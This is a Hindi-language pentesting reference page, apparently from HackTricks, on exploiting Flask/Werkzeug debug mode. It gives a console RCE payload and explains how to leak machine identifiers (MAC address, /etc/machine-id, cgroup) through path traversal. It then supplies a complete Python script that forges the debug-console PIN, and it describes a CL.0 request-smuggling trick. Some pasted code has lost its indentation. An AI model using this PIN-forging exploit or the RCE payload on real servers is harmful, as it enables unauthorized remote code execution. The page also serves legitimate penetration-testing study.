Werkzeug / Flask Debug

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

सुरक्षा मूल्यांकन और पेनेट्रेशन टेस्टिंग के लिए तत्काल उपलब्ध सेटअप। कहीं से भी 20+ टूल और सुविधाओं के साथ पूर्ण पेनटेस्ट चलाएं जो पुनरीक्षण से रिपोर्टिंग तक जाते हैं। हम पेनटेस्टर्स को बदलने नहीं हैं - हम उन्हें कुछ समय वापस देने के लिए कस्टम टूल, पहचान और शोषण मॉड्यूल विकसित करते हैं ताकि वे गहराई में खोदने, शैल्स पॉप करने और मज़ा करने में समर्थ हों।

कंसोल RCE

यदि डीबग सक्रिय है तो आप /कंसोल तक पहुँचने और RCE प्राप्त करने का प्रयास कर सकते हैं।

__import__('os').popen('whoami').read();

इंटरनेट पर कई एक्सप्लॉइट्स भी हैं जैसे यह या metasploit में एक।

पिन सुरक्षित - पथ भ्रमण

कुछ मौकों पर /console एंडपॉइंट को पिन द्वारा सुरक्षित किया जाएगा। यदि आपके पास फ़ाइल भ्रमण दुरुपयोग है, तो आप सभी आवश्यक जानकारी लीक कर सकते हैं ताकि उस पिन को उत्पन्न कर सकें।

Werkzeug कंसोल पिन दुरुपयोग

ऐप में एक डीबग त्रुटि पृष्ठ को देखने के लिए एक डीबग त्रुटि पृष्ठ को बलपूर्वक करें:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

जब वर्क्जुग के डीबग इंटरफेस तक पहुंचने का प्रयास किया जाता है, तो "कंसोल लॉक्ड" स्थिति के संदर्भ में एक संदेश पाया जाता है, जिसमें कंसोल को अनलॉक करने के लिए एक पिन की आवश्यकता होती है। कंसोल पिन का शोध करने के लिए सुझाव दिया जाता है, वर्क्जुग के डीबग प्रारंभीकरण फ़ाइल (__init__.py) में पिन जनरेशन एल्गोरिदम का विश्लेषण करके। पिन जनरेशन तंत्र को वर्क्जुग स्रोत कोड भंडार से अध्ययन किया जा सकता है, हालांकि संभावित संस्करण विसंगतियों के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रावर्सल वलनरेबिलिटी के माध्यम से प्राप्त करने की सलाह दी जाती है।

कंसोल पिन का शोध करने के लिए, दो सेट के चर probably_public_bits और private_bits की आवश्यकता होती है:

probably_public_bits

  • username: वह उपयोगकर्ता है जिसने फ्लास्क सत्र प्रारंभ किया।

  • modname: सामान्यत: flask.app के रूप में निर्धारित किया जाता है।

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): सामान्यत: Flask को हल करता है।

  • getattr(mod, '__file__', None): फ्लास्क निर्देशिका में app.py का पूरा पथ को प्रस्तुत करता है (उदाहरण के लिए, /usr/local/lib/python3.5/dist-packages/flask/app.py)। यदि app.py लागू नहीं है, app.pyc को प्रयास करें

private_bits

  • uuid.getnode(): वर्तमान मशीन का MAC पता प्राप्त करता है, जिसे str(uuid.getnode()) दशमलव प्रारूप में अनुवादित करता है।

  • सर्वर का MAC पता लगाने के लिए, व्यक्तिगत नेटवर्क इंटरफेस को पहचानना चाहिए जिसे ऐप द्वारा उपयोग किया जाता है (उदाहरण के लिए, ens3)। संदेह के मामले में, /proc/net/arp को लीक करें उपकरण आईडी खोजने के लिए, फिर /sys/class/net/<उपकरण आईडी>/address से MAC पता निकालें

  • एक हेक्साडेसिमल MAC पते को दशमलव में रूपांतरित करने के लिए निम्नलिखित प्रक्रिया की जा सकती है:

# उदाहरण MAC पता: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): /etc/machine-id या /proc/sys/kernel/random/boot_id से डेटा को जोड़ता है और /proc/self/cgroup की पिछली स्लैश (/) के बाद की पहली पंक्ति के साथ।

`get_machine_id()` के लिए कोड

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</details>

सभी आवश्यक डेटा को संग्रहित करने के बाद, एक्सप्लॉइट स्क्रिप्ट को निष्पादित किया जा सकता है ताकि Werkzeug कंसोल PIN उत्पन्न किया जा सके। स्क्रिप्ट निर्मित `probably_public_bits` और `private_bits` का उपयोग करता है ताकि एक हैश बनाया जा सके, जिसके बाद इसे और अधिक प्रक्रिया के लिए प्रसंस्करण किया जाता है ताकि अंतिम पिन उत्पन्न किया जा सके। नीचे दिया गया है पायथन कोड इस प्रक्रिया को निष्पादित करने के लिए:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

यह स्क्रिप्ट PIN उत्पन्न करता है जिसे बिट्स को कंकटनेट करके हैश करके, विशेष नमकों (कुकीसॉल्ट और पिनसॉल्ट) को जोड़कर, और आउटपुट को स्वरूपित करके। यह महत्वपूर्ण है कि probably_public_bits और private_bits के वास्तविक मान लक्ष्यित सिस्टम से सही ढंग से प्राप्त किए जाने चाहिए ताकि वर्कज़ूग कंसोल द्वारा अपेक्षित PIN के साथ मेल खाए।

यदि आप पुराने संस्करण पर हैं, तो sha1 की बजाय md5 हैशिंग एल्गोरिदम को बदलने का प्रयास करें।

Werkzeug यूनिकोड वर्ण

इस मुद्दे में देखा गया है कि Werkzeug हेडर में यूनिकोड वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और इस लेखन में स्पष्ट किया गया है कि यह एक CL.0 अनुरोध स्मगलिंग वंशाजन्यता का कारण बन सकता है।

यह इसलिए है क्योंकि Werkzeug में कुछ यूनिकोड वर्ण भेजना संभव है और यह सर्वर ब्रेक कर देगा। हालांकि, यदि HTTP कनेक्शन हेडर Connection: keep-alive के साथ बनाया गया था, तो अनुरोध का शरीर पढ़ा नहीं जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का शरीर अगले HTTP अनुरोध के रूप में व्यवहार किया जाएगा।

संदर्भ

सुरक्षा मूल्यांकन और पेनेट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप। कहीं से भी 20+ टूल और सुविधाओं के साथ एक पूर्ण पेनटेस्ट चलाएं जो पुनरीक्षण से रिपोर्टिंग तक जाते हैं। हम पेनटेस्टर्स को बदलने नहीं देते हैं - हम उन्हें वापस कुछ समय देने के लिए कस्टम टूल, पता लगाने और शोषण मॉड्यूल विकसित करते हैं ताकि वे गहराई में खोज कर सकें, शैल्स पॉप कर सकें, और मज़ा कर सकें।

Last updated